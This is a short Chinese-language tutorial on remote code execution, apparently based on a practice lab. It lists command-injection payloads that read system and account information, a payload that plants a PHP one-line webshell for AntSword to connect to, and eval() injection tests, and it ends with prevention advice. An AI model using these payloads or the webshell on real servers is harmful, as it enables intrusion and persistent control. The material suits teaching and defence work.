exec"ping"
输入IP地址查看页面反应
可以在IP地址的后面拼接我们想要执行的命令
127.0.0.1 & ipconfig
127.0.0.1 && type C:\Windows\win.ini
127.0.0.1 | systeminfo
127.0.0.1 && net user
命令连接符
& | 命令1和命令2正确都能执行; 当命令1错误命令2正确,只能执行命令2 |
&& | 命令1和命令2正确都能执行;命令1错误命令2正确,不能能执行命令2 |
| | 不管命令1正确还是错误,都只执行命令2 |
|| | 命令1正确只会执行命令1,命令1错误才会执行命令2 |
输入:127.0.0.1 & ipconfig
还可以写入一句话木马
127.0.0.1 | echo "<?php @eval($_REQUEST[123])?>" > shell.php
然后可使用中国蚁剑进行连接
exec"evel"
eval():会将符合PHP 语法规范字符串当作PHP代码执行
在执行框中输入单引号,出现报错,证明此处存在eval()函数注入点漏洞
输入:echo(hello);
输入:phpinfo();
该函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完毕后并没有及时删除,因此当访问这些测试页面时,会输出服务器的关键信息,这些信息的泄露将导致服务器被渗透的风险。
预防RCE
使用白名单:定义一个接受合法命令或代码输入的白名单,只有在此白名单中的命令或代码才会被执行。这个做法可以限定用户只能进行指定的操作,并且可以有效地防止黑客攻击。
安全编码实践:编写安全代码是防范RCE攻击的一个重要手段。开发者应该禁止使用eval()或exec()等不安全的函数,而是使用更安全的函数来处理用户输入。
输入验证:当处理用户输入时,必须进行必要的验证,包括数据类型、格式和长度等。在校验用户输入之后,再将其传递给执行命令或代码的函数。
限制shell运行环境:在PHP的服务器端配置文件中,可以通过限制可执行文件的路径和基本环境变量来减小攻击面。